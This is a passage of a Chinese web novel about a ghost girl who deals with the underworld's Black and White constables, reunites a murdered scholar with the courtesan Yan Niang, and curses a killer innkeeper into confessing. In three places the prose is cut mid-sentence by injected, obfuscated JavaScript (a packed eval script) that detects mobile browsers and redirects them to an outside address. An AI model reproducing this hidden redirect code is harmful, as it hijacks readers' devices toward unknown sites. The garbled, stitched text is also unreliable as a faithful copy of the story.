白无常自然也不会任他甩锅,他身形高挑,气势上本该占些优势,却偏偏瘦得只剩皮包骨头。不过他五官深邃,瞳色灰白,一副冷漠厌世的样子,看着倒不是好欺负的。虽没有长舌,却格外毒舌。 “上了脚镣你这小短腿也追不上,好意思赖我头上?那书生手无缚鸡之力,你若直接给他戴上手铐,还能让他挣脱了?你手铐不戴,我就算上了脚镣,他不照样能用手扯开脚镣逃跑?光长舌头不长脑子,真搞不懂我怎么会跟你这种蠢货做搭档。” 说完就是一个快翻到天上的大白眼。 黑无常摇摇头,急道:“不对不对,里给他丧了脚镣,他逃跑嘶就会被脚镣绊倒,¥#¥%#%¥……”后面他还说了一大串解释,但因为着急舌头打了结,夏月明一个字也没听懂。 黑无常不耐烦道:“蠢货!把舌头捋直了再说。我可真倒霉,跟你做搭档,这个月的业绩又完不成了……” 趁黑无常捋舌头的间隙,夏月明让小白在原地等候,自己从墙角走出,礼貌道:“两位大人打扰了,请问你们有空聊一聊吗?” 两位鬼差闻声吓了一大跳。 白无常厉声询问:“你是谁?怎么会在这里?你在这里多久了?都看见什么了?” 黑无常慌张地抓着舌头:“开顶撸四胶带!” 两位鬼差说罢不动声色地交换了一下眼神,表情都变得严肃起来。 一般的鬼看到阴差就跑,这女鬼反而主动走上来,说明她的实力必定不凡,甚至有可能在阴差之上。 黑无常给白无常使眼色:待会儿你先上。 白无常朝黑无常翻了个白眼:凭什么?你先! 夏月明学着电视上古人的样子,礼貌拱手,微笑道:“两位前辈好,我叫夏月明,在这里借宿,偶然看到前辈在办案。冒然打扰,想请你们帮我给阎王大人递个简历。” 黑无常的舌头终于捋直了,松了口气,撇嘴道,“茧腻似啥?地府不搜贿赂,再好呲也不行。”说完没忍住咽了口口水。 夏月明道:“简历就是我的生平履历和工作能力总结。” 黑无常不解:“给他看zei个做森么?” 白无常则偷偷翻开了手里的生死册,查了一圈也没找到符合眼前这女鬼的名字,一颗心悬了起来。 生死册是他从生死簿中摘抄出的,可以随意处置的游魂野鬼名册。 若不在这名册上,便只有一种可能—— “是厉鬼。” 黑无常一听立马戒备起来,而后眼珠子一转,心思活络了起来。 捉拿厉鬼这件差事对他们无常组来说难度偏高,因而按照惯例,他们是可以睁一只眼闭一只眼的。 但最近恰逢天庭抓业绩,各路神仙部门卷得很,就连地府也未能幸免。 他们无常小组回回业绩垫底,这次又把鬼抓丢了,着实难以交代。 若他们能成功抓住一只厉鬼,不但可抵消丢魂之过,还能顶上一大把业绩呢,很难不动心。 黑无常看了白无常一眼,对方立马意会,随后便一起甩着手中锁链,冲向了夏月明。 “既然把主意打到我们身上了,那就帮我们填充一下业绩吧!” 白衣翻飞,劈头砸来的锁链并未打在夏月明身上,而是被一双修长好看的手当空拦下。 “喂,没人教过你们要对美女客气点吗?”小白一脸恼火,挡在夏月明身前。 刚才他就一直在后面墙角盯着这边看,见夏月明有危险,便第一时间冲了过来。 但双方实力悬殊,更何况双拳难敌四手,黑无常反手将锁链一拽,便将小白的手臂缠住了。 趁他分身乏术,白无常直接朝夏月明冲去。 小白不顾黑无常攻击和铁链割腕,拼命挣扎要去救夏月明,却只能眼睁睁看着白无常掌心运力,朝夏月明肩膀拍去。 “不许伤害她!” 在小白双手大残,挣脱锁链之际,白无常枯瘦的手掌已拍在夏月明身上。 小白双目猩红,正要朝他冲来,却见夏月明身上寒光一闪,将白无常弹飞了两米。 白无常重重地跌在地上,摔了个屁股蹲。 在旁抓住破绽又将小白缚住的黑无常顿时惊呆了。 白无常站起身来,皱着眉头盯紧了夏月明。 这女鬼看着柔弱,身上却有甚至远超厉鬼的能量,着实诡异。 工作而已,没必要拼命。 这样想着,他便拍拍屁股,逞强道:“咳咳,吓唬吓唬你罢了。” 随即望向一脸懵然的黑无常,“走,去找那个跑掉的鬼。” 黑无常一脸“你没事吧?”的表情,见白无常已经迈步要走,纠结再三还是收起缚在小白腰间的锁链,追上去边走边问:“怎么肥四嘛?你则样让我很尴尬诶!我们zei个月还%……&&%” 一着急,舌头又打结了。 夏月明没想到自己绑定的系统如此厉害,心中安定了不少。 刚才白无常被弹开时,她明显感觉到玉佩散发出一股森寒的能量,想来正是系统保护了她。 暂时将受伤的小白安置到一旁之后,夏月明又小跑两步,不死心地追上了黑白无常,继续推销:“二位前辈,这里怨气很重,那个鬼想藏很容易的。刚刚听你们说月底赶业绩吧?现在花时间找他,会错过其他鬼魂,也会纵容厉鬼诞生,得不偿失。” 白无常无奈止步:“你到底想干嘛?” 夏月明微微一笑,继续道:“不如我们做个交易,我帮你们抓他,你们帮我给阎王递个简历,如何?你们就先去抓其他鬼,明天顺路过来看一下,也不吃亏。” 白无常语气冰冷,“我最讨厌被算计。” 黑无常又在捋舌头:“duai,没门,嗓都别嗓……” 白无常沉默一瞬,却又道:“不过……还是可以考虑一下的。” 黑无常:? 然后两个鬼差就当着夏月明的面开始内讧,脑袋凑在一起说起了声音不算小的悄悄话。 “里似不似疯了!厉鬼很颠扎,怎么棱和她做ziao易呢?” “别把话说死了,等她抓住了咱再拒绝拒绝就好了嘛,反正我也没答应,也没不答应。” “哇哦,不愧似里,颠杂饺滑!” “没文化就别夸,什么词啊用的。” 两位鬼差达成一致,转过身面向夏月明,一本正经地理了理衣服。 白无常道:“咳咳,想抓便抓,随便你,我们很忙,先走了。” 说罢转身潇洒离去。 夏月明:……你们当我是聋子吗? 不过虽然知道他们打的什么主意,但没直接拒绝就是还有机会。 夏月明望着两位鬼差渐行渐远的背影松了口气,忙转身走回去看小白伤势。 白皙的手腕上有着醒目的锁链状凹痕,深可见骨。身上也有多处被攻击的伤痕,光是看着都觉得疼。 夏月明没有灵力,不知作为一只鬼该如何为鬼疗伤,十分着急。 小白笑道:“主人在担心我吗?” “当然,我们是伙伴啊。”夏月明没有心思纠正他的称呼,只埋头查看他伤口,想着怎么疗伤。 小白面颊发暖,轻轻低下头,颇有些难为情地道:“我不知道伙伴该如何疗伤,但……恋鬼受伤,只需主人的爱抚便可自愈。” “真的吗?”夏月明连忙追问:“怎么才算爱抚?” 小白颇有些期待地道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不试一试怎么知道呢?你不是说愿意给我一周时间找到其他修炼方法吗?求求你,万能的系统大人……”夏月明言辞诚恳,态度谄媚,夹子音很是无奈,无语地又骂了声“倔驴”后,没好气地道:“我现在能力受损,最多能感受到方圆二十米内的气息,这里没有,你往东再走走。” “嗯!”夏月明欣喜点头,立马就照做。 走着走着,她突然想起刚才的事,便道:“对了,刚刚谢谢你救我。” “刚刚?我……有救过你吗?”夹子音疑惑。 夏月明微笑道:“嗯,白无常抓我的时候,我感觉到玉佩的寒意了。” “哦、哦,对,没错,是我。”夹子音的系统突然反应过来,尬笑了两声,道:“我的大恩大德你可要好好回报!” 半个钟头后,夏月明在驿馆外的树林里找到了书生的鬼魂,正巧小白也找到了这里。 被小白反手拿住时,那书生还在试图挣扎,幸而小白吸取黑白无常的教训,十分警惕,没有被他逃脱。 小白将书生押到夏月明跟前,请示道:“主人,你想怎么吃他?一顿吃完,还是分成几顿呢?要不要再加一些花露做佐料?” 那书生听完脸都吓绿了,心想自己上辈子难道是小猪仔吗?肉身被做成包子给人吃就罢了,鬼魂也逃不过成为食物的命运。真是被吃干抹净,一点儿不剩,比猪仔还惨呐。 他认命地闭上了眼睛,一瞬间有点儿后悔放才没直接跟鬼差走。 夏月明知他害怕,特地将声音放柔了些,轻声道:“别怕,我不吃人也不吃鬼。” 书生小心翼翼睁开眼睛,就看到女鬼正对自己露出十分友好的笑容。 他不解问道:“不吃我,那为何抓我?” 女鬼清澈的眼眸中透着人间也少有的善意,认真问道:“你在人间可还有憾事,或是未了的心愿?我来帮你完成。” 8. 书生与花魁 鬼迷心窍了。 这是书生的第一反应。 但大约是夏月明眼中的善意,让他有了不切实际的幻想,他吞了口唾沫,切切然开口道:“什么心愿都可以吗?” 夏月明认真点头:“嗯,我会尽力帮你完成。” “那……”书生眼中燃起异样光彩,期待道:“我想活着。” 夏月明:“……” 她小时候曾在爷爷家住过一段时间,见过爷爷渡魂。 一般来说,只要满足鬼魂心愿,让他们再无挂碍,便可劝他们离开人间,早投轮回。 但“活着”这个心愿,却是再厉害的灵术师也无法实现的。 见夏月明十分为难的样子,书生又道:“那我换一个,让我进京赶考。” 夏月明:“……再换一个呢?” 鬼魂确实可以用与生前无二的实体,在人间行动。但京城距离此处,定然不会太近,那么他就面临着与夏月明同样的困境——炼魂,或者消散。 其二,先前遇见的缉灵司小队,虽只是三名少年,却可以趁树妖不备将其伏击,那么可想而知,他们总部所在的京城,防鬼措施该有多么森严。 见夏月明仍是为难的样子,厉鬼眼中的希望逐渐破灭。 他突然难过地放声大哭起来。 “怎么就死了呢?怎么就这样死了呢?明明只是寻常赶考,寻常投宿,夜里还听从雁娘嘱托,没有在荒郊野外随便凑合,选了信任的同窗介绍的驿馆啊……为什么会是黑店?为什么会有迷香?为什么……偏偏是我呢?” 夏月明听闻书生的质问,心中凄楚,她很明白他的感受。 生命戛然而止,没有任何预兆,让他措手不及。 可他正那样蓬勃地、努力地,在自己曾用心规划的道路上攀爬,每一个节点都不曾懈怠。 偏偏世事无常,就像刚发现大块食物,正开心朝蚁巢搬运的小蚂蚁,突然被顽皮的孩子用开水淹没了一般。 在强大的命运面前,他也像一只遭遇开水的小蚂蚁一样,一切决心和努力都化作了徒劳。 思及至此,书生更加崩溃,一边哭一边悲痛大喊:“雁娘,我对不起你!十年寒窗,你为我付出太多……可我如此不成器,竟连活着都做不到……” 他声嘶力竭,仿佛只要喊得足够大声,远方挂念的人就能听到一般。 虽知这仍是徒劳,夏月明却并未阻拦他,只默默站在他身侧,任由他以发泄情绪的方式,来逐渐接受现实。 良久后,书生嗓子也哭哑了,眼泪也哭干了,连魂体都有些飘忽,他才面容呆滞地停了下来,对夏月明道:“驿馆东侧第二间客房床底,有我的一些盘缠,我想请你们帮我把它还给梦香楼的雁娘。让她不要再等我了,是我辜负了她的期待。” 那些盘缠有一部分是他自己做苦力赚的,有一部分,是雁娘借给他的,那是雁娘这些年来辛苦攒的赎身费。 夏月明点头:“好,如果她知道了,你就可以心无挂碍地转世吗?” 书生沉默良久,点头应了声:“嗯。” 小白去将书生包袱取来,三只鬼便一同上路,前往雁娘所在的梦香楼。 趁夏月明与另外两只鬼有些距离后,系统在她耳边悄声道:“事儿真多,干嘛还要帮他完成心愿啊,直接抓去给阴差不就完了?” 夏月明不甚在意地笑了下,道:“举手之劳嘛。” 她深知遗憾是世间常态,但正因如此,抚平遗憾的机会才更为珍贵。 …… 凌晨时分,梦香楼灯火通明,笙歌宛转。 身材丰腴的鸨母哼着小曲儿,红光满面地穿过各色绸缎挂帷,晃晃悠悠来到了二楼最里间的厢房外。推门便道:“雁娘啊,李大官人又来啦,你可不能再躲了啊,都三天了,再称病就不礼貌了。” 被唤作雁娘的女子大约二十五六的样子,虽未施粉黛,却姿容出众,清雅端庄。 她正坐在圆桌前,给一件素青色的袍子上缝花。 见鸨母进来,雁娘起身款款行礼,放下手中活计,亲昵地抓住鸨母的手,娇声道:“好妈妈,我今天身子仍是不如意,麻烦您帮忙同李公子解释解释,看看有没有姐妹愿意替我。” 鸨母脸色骤然一沉,另一只手朝身后一挥,一名浓妆艳抹的女子便端着托盘从她身后挤上前来,抢了话头。 “我们雁娘这是怎么了?放浪了半辈子,这会儿开始装模作样矜持起来了?不知道的还以为你已经是状元夫人了呢!哈哈哈~”女子声音洪亮,好像巴不得让门外的人也听到一般。 见女子走到桌前摆放点心,鸨母又拉着雁娘劝道:“别做白日梦了,雁娘。我跟你打赌,那个穷书生根本不可能考上的。要是考上了,就更不可能要你了,状元怎么可能纳妓呢?不过是看你傻,想骗你的钱罢了!你信我的,我见过的男人,可比你吃过的馒头还要多。他此番拿着你的钱财一走,还不知去哪里逍遥快活了呢,你这辈子要是还能见着他,老娘我直接脱了衣服去大街上跳舞!” 说话间,艳丽女子已摆完点心,又顺手揭开薰炉盖子,朝里面洒了些白色粉末。 同鸨母交换眼神后,二人又一唱一和,将雁娘嘲讽了一番,才翩然离去。 雁娘早已习惯了她们的说辞,只无奈地叹了口气,继续坐在桌边缝花。 半个时辰后,她忽而觉得眼皮沉得慌,便趴在桌上,晕乎乎睡了过去。 随后房门被粗鲁地推开,一个肥头大耳、满脸油腻笑容的中年男人踏步而入。 正是今日指明要雁娘伺候的李大官人李涩。 李涩贼眉鼠眼,贪婪地打量着雁娘,搓着一双咸猪手便朝雁娘走了过去,望着雁娘白皙嫩滑的皮肤,忍不住直咽口水。 “嘿嘿嘿,这西越产的迷魂散,效果就是好啊。” 他边说边将鼻子凑到雁娘颈间,沉醉地闻了又闻,一脸得意淫邪的笑容。 闻够了便撅起肥厚油腻的嘴唇,朝雁娘丹唇吻去。 “啪!”突如其来的一记大耳光,将李涩抽了个满脸通红,半边脸瞬间就肿了起来。 李涩脑袋被抽得发懵,捂着脸左右一看,空无一人,立刻惊恐地缩到了桌脚边,慌张地问:“谁?谁打我?” 在不知从何处刮来的阵阵阴风中,他听见一声嘹亮怒喝:“畜生!” 声音清越冰冷,愠怒中透着令人胆寒的杀意,吓得他连滚带爬躲到了桌子底下。 “谁、谁在说话?快点出来,别、别装神弄鬼的!”李涩试图威吓对方,但声音颤抖没有半点威力。 “不孝孽畜,我是你太爷爷!” “太爷爷?” 李涩半信半疑,此时围绕着他的阴风也变得忽大忽小,令他心里更犯嘀咕。 “这风一会儿大一会儿小,怎么跟我家小妾扇风似的?” 刚嘟囔完,脸上就又挨了一巴掌,这一巴掌比之前那巴掌还要狠。 “放尊重点!谁跟你家小妾一样?你配吗?” 不知为何,那神秘的声音听起来更愤怒了,李涩欲哭无泪:“我就随便一说……” “说也不行!连稍微想一下都不可以!” 这熟悉的护主的语气,不是小白又会是谁呢? 他们来找雁娘时,正好看到李涩轻薄雁娘,愤怒的书生抬手就给了那畜生一巴掌。 为免暴露身份惹祸上身,夏月明便授意小白借这畜生太爷爷的身份一用,替他祖先来教育教育他。 而那阵阵阴风,便是担任气氛组的夏月明和书生一起扇出来的,胳膊都要扇酸了。 在夏月明的眼神提示下,小白压抑住因李涩言语上亵渎主人而生的怒意,继续往下演。 “你这畜生,卑鄙下流,荒淫无度,连禽兽也不如,害我在九泉之下抬不起头来,连家族气运也保不住了。” “啊?” “你的所作所为背离家训,损害家声,贻笑鬼神,严重影响了家族气运,要不了两个月,整个家族就会破产,沦为街边乞丐!” “啊??” 小白连用了几个四字词语,倒是把李涩给唬住了。他瑟瑟发抖,竟不知自己一时色迷心窍会有如此后果,连忙跪地磕头,忏悔求饶:“太孙知错!求太爷爷指明生路!” 见威胁起效,小白乘胜追击,继续道:“我向神鬼求情,他们念我过往功绩,愿意通融。只要你从此开始戒色十年,便可既往不咎。” “啊???” 李涩表情过于精彩,连夏月明都忍不住偷笑起来。 小白见她被逗笑了,更是有意卖弄,继续道:“我知你这畜生管不住自己,便特地来此,帮你斩除祸根,永绝后患。” 李涩胯一疼,没忍住尿了裤子。 顾不上衣服湿臭,李涩趴在地上,凄厉地高呼了一声:“太爷爷饶命啊!太孙能忍住、能忍住……十年而已,不算长,求太爷爷开恩,放过太孙……太孙一定诚心忏悔,绝不再犯!” 知他此刻一颗心早提到了嗓子眼儿,小白故意沉默了一瞬,将紧张的气氛拉满,才悠然道了句:“当真?” 李涩连忙点头:“当真当真,太孙愿以性命起誓!” 小白笑眼盈盈望向夏月明,见她点头,才颇有些可惜地松口道:“那便先饶你一命吧。回去后跪一个月宗祠,将你方才所起之誓加上前因后果每日抄写一百遍,不然——我还会再来找你的。 李涩急忙道:“太爷爷放心!太孙回去就抄,绝对一个字也不少!” “嗯。将地擦干净就快点滚吧,不然待会儿我一琢磨,又改了注意……” 李涩闻言赶紧就趴在地上,用袖子把自己弄脏的地擦拭干净,而后弯着腰起身,迅速跑到门口,又朝房间四面都拜了拜,才连滚带爬,逃也似地离开了。 他走后,小白畅快地大笑了起来,与夏月明一同现了身。 对生者隐身的能力一般鬼魂都会有,只需一些技巧便可掌握。且这隐身只对生者有用,鬼魂对鬼魂是无法隐身的。 夏月明见书生没有现身,便再次确认道:“真的不再见她最后一面吗?” 书生面色凄然,“嗯……我这幅样子,还是不要让她看到了。” “好。”夏月明说罢,轻轻唤醒了趴在桌上的雁娘。 书生虽未现身,却下意识藏到了房间的纱幔后面。 雁娘缓缓睁开眼睛,先是看到一张陌生清丽的女子面容,接着又看到女子身后,还站着一位仙姿玉貌的男人,一时更是恍惚。 “你们是谁?怎么在我的房间?” 夏月明并未言语,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866733|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接将书生的包袱递给雁娘。 雁娘一眼便认出这包袱,警惕问道:“这是什么?” 夏月明道:“打开看看。” 雁娘心中生出不好的预感,有些抗拒地打开包袱一确认,顿时心慌了起来。 “文韬的盘缠,怎么会在你这里?” 夏月明望了纱幔一眼,坦言道:“他误投黑店,遇害了。” “哪里的黑店?”雁娘仍强撑着最后的意志,希望面前的陌生人只是骗子而已。 夏月明心有不忍,沉声道:“平远村外的驿馆。” “怎会如此……”清晰准确的答案击碎了雁娘最后一丝幻想,她只觉浑身的力气都被抽走了,跌坐在地,“文韬他苦读数年,夜以继日,寒暑也不曾懈怠……他满腹才华,却为何……为何连京城都到不了……” 夏月明的眼眶也忍不住有些湿润了。 雁娘在听到书生遇害后,第一时间不为有情人阴阳两隔而哭,不为自己平白投入半生却了无回报而哭,而是为他志向夭折、才华埋没,郁郁不得志而哭。 不为他不能回来而哭,而是为他,未能到达施展才华的理想之地而哭。 夏月明心中惭愧,她本以为书生是雁娘的情郎,此刻才知自己将这段感情想得浅薄了。 她对他,没有依赖与渴求,单是惺惺相惜,怀才不遇,如高山流水般的衷心赏识与倾慕。 她不忍雁娘就此抱憾,虽来之前书生已明确表达过,不想雁娘看到自己如今的样子,却仍自作主张了一回,蹲下身来对雁娘道:“若他魂体满身伤痕,狼狈不堪,你会想见他吗?” 雁娘泪眼朦胧,没有片刻犹豫:“我想见他。” 窗外大风吹开纱幔,夏月明看到书生阮文韬眼中蓄满泪水,他下意识摇着头,不愿让雁娘看到自己此刻的模样。 夏月明声音哽咽,恳切道:“比起逝者,生者才是弱势的一方。他们没有主动割舍的权力,若没有最终的告别,便无法单方面为曾经共有过的生活画下句点,去过新的生活。” 这句话像裹着棉花的铁拳一样,恰到好处砸在了阮文韬的心上。 他的眼神变得坚定起来,掀开纱幔现了身,缓缓走向雁娘,轻声唤道:“雁娘。” “文韬?!”雁娘匆匆起身,明明才知道永别,盛满泪水的眼中竟刻满了思念。 二人互相唤着对方的名字,朝着对方奔赴,而后紧紧相拥。 良久后,阮文韬轻声道:“对不起,雁娘,我辜负了你的信任,你为我付出这么多,可我、我甚至……连考试的资格都没有。” 雁娘笑着摇摇头,轻轻擦去阮文韬脸颊的泪水,看着他的眼睛柔声道:“不,你不必自责,你不欠我。我知你身心所受的伤,远比我想象的煎熬。我想见你最后一面,是想告诉你,在陪伴你的日子里,我的内心很充实。你对我从不曾卖弄,亦不曾贬低,与你在一起,我可以无所顾忌地看想看的书,聊想聊的诗文,将我自己没办法做的梦寄托给你,而你亦与我有着同一个梦。我帮你实现梦想,亦是你在帮我实现,我无法完成的那个梦。所以我要谢谢你,文韬。我生来不曾自由,但与你在一起的时光,我仿佛窥见了——遥不可及的自由,这便足矣。” 听她说完,阮文韬已泣不成声,眼泪如决堤的江流般,怎么也止不住。他胡乱地抹了抹脸,赤诚而挚切地道:“雁娘,我此生最幸运的事便是遇见你。你比我所见过的任何人,不论男人还是女人,都更坚强、更自由,更有风骨和才情。我常常觉得自己配不上你,此刻更甚。这辈子能见你最后一面,必是上天垂帘。若有来生,你仍会是我最敬重、最倾慕之人。” 二人都努力露出笑容,却仍止不住眼泪扑簌而下。 直到小白递来一张手帕,夏月明才发觉自己也已泪流满面。 爷爷曾说过,心软的人渡不了魂,她慌忙擦去眼泪,做出一副坚强的样子,不忍提醒道:“天亮不好赶路,该走了。” “嗯……”阮文韬紧紧握住雁娘的手,内心不舍,迈不动半步。 见他不听主人的话,小白直接上前拽住他胳膊,给拉到了窗边——他们来时也是从窗户进的——然后扛在肩上,跳到了楼下。 雁娘一脸懵然看向夏月明,夏月明无辜摊手:“说实话……我也很意外。” 随后她也从窗户跳下,同雁娘挥手告别。 雁娘将身子探出窗外,目送三鬼。 行至拐角处时,夏月明对小白道:“把他放下吧。” 阮文韬这才拿回了自己身体的支配权。 他朝着雁娘的方向望去,目色郑重地伸出胳膊,将两只手交叠于前方,对着她深深地鞠了一躬。 这是本应对受人尊敬的师长才行的大礼。 良久后,他站直身体,隔断前尘,朝着右侧街道转身。 迈步前,他听见雁娘在他们初次见面的窗口,朝他大喊道:“阮文韬,你放心前往下一世吧。我雁娘从不依靠他人而活,就算孤身一人,我也会好好过完我的余生!” 阮文韬脸上露出笑容,他并未回头,大声道:“嗯!下一世,我会考上状元的。” 他很想告诉她,我在下一世等你,却怕她这一世心急,便没有说出口。 就默默等待吧,不管在生命的第几年。 9. 鸣冤自首 银月悠悠,万籁俱寂。 三只鬼魂在微寒的夜色中,又回到了布满血腥味儿的驿馆外。 在逐渐蔓延的血腥味儿的催化下,驿馆各处的怨灵也被唤醒了,它们哭泣着、咒骂着、哀嚎着……令整座驿馆都变得诡异造作起来。 夏月明不禁骇然:“这里到底枉死了多少人啊……” 爷爷曾说过,怨灵是枉死之魂的执念。因执念留在人间,拒不投胎,也不得修炼之法的枉死之魂,若在执念未完成前消散,他们的执念便会化作能力低微、没有自主意识的怨灵,游荡在人间,成为其他低阶鬼魂的养分。 夏月明的魂体又开始不自觉地颤抖起来,若刚来时驿馆就是这副景象,她说什么也不会进去的。 但现在,除去与阴差的约定之外,她还有一件不得不做的事情。 血色驿馆映射在阮文韬琥珀色的眼瞳之中,耳畔怨灵悲鸣更是令他心情沉重。若非有幸遇到夏月明,他的下场,大约也是如此了。 他转身对着夏月明郑重行礼,道:“虽有千般愿,万般怨,但我心愿已了,再无挂碍,谢谢你,我愿听你处置。” 夏月明轻轻点了下头,神色肃然:“夜里你和黑白无常一起去地府投胎吧。不过在这之前,我还想你帮忙做一件事。 “何事?” 夏月明道:“这黑心店主实在可恨。如果继续放任不管,以后肯定还会有更多人被他残害。” “嗯。”小白面色凛然,一边活动手腕一边轻飘飘地道:“我去杀了他。”说罢就要冲进驿馆。 “不用。”夏月明忙将他拽住,解释道:“他还活着,还是让人间律法来处置吧。待会儿我试着与怨灵沟通,看能否多了解一些情况,小白帮忙在驿馆内搜集作案证据。阮文韬,辛苦你帮忙把这一切都记录下来,让店主签字画押,和他一起一起交给官府。” “交给官府?”阮文韬一脸诧异。 鬼魂早已超脱人间律法的束缚,向来都是要杀便杀无所顾忌,甚至连他自己刚成为鬼不久,也已默默接受了这一点。可面前女鬼明明有连黑白无常也无可奈何的能力,却仍坚持原则不去滥用。这不知如何养成的、根深蒂固的守法意识令他惭愧。 敬佩之余,阮文韬目色坚毅,郑重道:“嗯,我会一字不落全部写下,定让恶人伏法!” …… 清早,睡梦中(被小白揍晕)的驿馆老板,和一封按过指印的陈罪书,一同被送往了平远村所属的明城县衙。 但预想中天理昭彰,大快人心的情形却并未出现。姗姗来迟的县令瞥了眼罪状后,竟哈欠连连,谎称身体不适,将他们打发走了。 阮文韬气极:“那县令一看就是个昏官,什么还需核查,分明就是懒政推辞之说!” 夏月明叹了口气,“怪我,忽略了这茬。那么多人在驿馆遇害,不可能一个报官的也没有,官府如果会管早就管了,是我考虑不周。” “主人,要不要我来解决?”小白说着便将手放在了驿馆老板的脑门上,一副跃跃欲试的表情,给本已清醒,却故意装晕偷听的驿馆老板吓出一身冷汗。 夏月明摇了摇头,认真道:“不,万事都有因果,为他沾染杀孽,不值得。” 小白却不甚在意,笑道:“无妨。你忘了吗?我入不了轮回的。” “……未必。”她声音很小,但他还是听到了,疑惑地“嗯?”了声。 她却并未特意解释,垂眸思索起了新的办法。 良久后,她嘱托小白和阮文韬在原地等待,自己神神秘秘钻进了不远处的小巷中。 “系统,你在吗?”她对着玉佩小声呼唤。 系统不悦应道:“干嘛?又想要我帮什么忙?” 她稍微踌躇了一下,还是小心翼翼问出了口:“系统,你懂诅咒之术吗?” 系统得意道:“当然啦,我可是万……”没说完又意识到什么,警觉改口道:“呃咳咳,略懂,略懂,怎么啦?” 像是心里的什么实锤落定了一般,她的面色不自然地惊愕了一瞬,很快又恢复淡定,扯起嘴角来微笑请求道:“我想请你帮忙,给那店主下一个诅咒……” 夏月明描述完期待的诅咒功能,系统直呼不够变态,正欲指点一二,又突然想到什么般,一口应下了:“行,我试试。” “嗯……谢谢。” 半个钟头后,县衙旁边的僻静小巷中,响起了驿馆店主刘豹杀猪般的惨叫声。他感觉身上好像被无数只马蜂狂蛰一般,痛得在地上直打滚。 夏月明冷漠地看着他,淡淡道:“我刚刚在你身上下了一种诅咒,如果你没有得到与所犯罪孽对等的惩罚,那现在的痛感还会无限放大下去。” “女侠饶命,女侠饶命啊!”刘豹痛得双手乱挠,脸上身上都渗出了暗红色血痕,却丝毫阻止不了这痛感。 “叫吧,你叫破喉咙也没用。” 围观的三只鬼冷眼看着刘豹惨状,甚至露出快意笑容,让人一时有些分不清谁才是恶人。 痛苦难忍,刘豹终于忍不住投降了:“好好好…放过我…我这就去自首……” 夏月明却没有半点心软,强调道:“光自首没用,得重判才行,知道吗?” “知道、知道…啊!!女侠快放过我!!” 有了悔过之心的瞬间,身上痛苦也减弱了许多,刘豹松了口气,随后在三只鬼冰冷而凌厉的目光中,屁滚尿流爬去了县衙。 …… 正午,县令徐威武坐在满满一大桌丰盛菜肴前,刚拿起筷子,就听见衙外堂鼓“咚咚”直响。 衙役来禀,是有人击鼓鸣冤。 徐威武气道:“鸣的什么冤啊?非得赶着饭点儿来?天大的冤情也得等我吃完再说!” 他又拿起筷子,刚夹了根大鸡腿塞进嘴里,便听衙役继续道:“说是替十六名命丧平远村外驿馆的游人鸣冤,凶手……就是他自己。” “自投罗网?有病吧!”徐威武一激动,被大口鸡肉呛住了,咔咔直咳嗽。 半个时辰后,用完午饭的徐威武再次出现在县衙大堂,升起了堂。 被堂鼓声吸引,县衙外已站满了围观百姓。 这一次夏月明没有现身,与小白和阮文韬一起,隐身于县官案旁听审。 昔日凶残无比的刘豹,在诅咒的折磨下已不成人形。他一五一十交代了自己从一开始的谋财害命,到最后因快感而杀戮的所有经过,听者无不为之悚栗震骇。 听完刘豹请罪,县老爷徐威武捻起小胡子一琢磨,立马有了定夺,便将惊堂木一拍,从签筒中抓了一把白头签扔了下去,道:“给我重打五十大板,收监再审!” 证据确凿、犯人招供,还要再审什么? 堂外百姓骂声四起,但徐威武充耳不闻。 他不是不知道刘豹所犯是滔天罪孽,然刘豹每年上交税 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866734|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银与贿赂之丰厚,也令他难以割舍,寻思收监后刘豹为了轻判,没准还能再给自己孝敬上一大笔。 但他万万没想到,别的犯人打板子时喊的是“冤枉”,刘豹挨板子喊的却是:“不够!不够啊!你们是不是没吃饭啊!” 县衙众人:? 这下压力来到了行刑捕快这里,县令扔的白头签,意思是意思意思得了,不用打太重。可这犯人的挑衅又让他们很生气……算了,还是依犯人的吧,毕竟第一次听见这么变态的要求。 “啊!使劲!再使劲!左边那个,力道不够啊!” 左边的捕快感觉有被羞辱到,顿时加重了力道。 “对,对,就这样,右边……” 就这样,几十板子下去,刘豹皮开肉绽,行刑捕快也累得够呛。 但刘豹也实在是没办法,捕快打得越轻,那诅咒反噬的钻心之痛就越厉害,两痛相比,他宁愿多受些皮肉苦。 板子打完后,徐威武本要将刘豹收监,刘豹却痛苦大喊:“县老爷开嗯呐!我杀了那么多人,五十大板怎么够啊!” 比那些喊冤的犯人还起劲,属实给徐威武整不会了。 围观百姓也头一回见这情况,交头接耳议论纷纷,说这人是不是脑子有病。大伙儿甚至顾不上骂那狗屁县令徐威武了,注意力全转刘豹身上了。 徐威武无语,给刑罚继续加码到徒刑和流放,那刘豹仍是不满意,甚至最后徐威武一狠心判了个秋后问斩,刘豹都还嚷嚷着不够。 气得徐威武一句“斩立决”一锤定音,堂上才安静了下来。 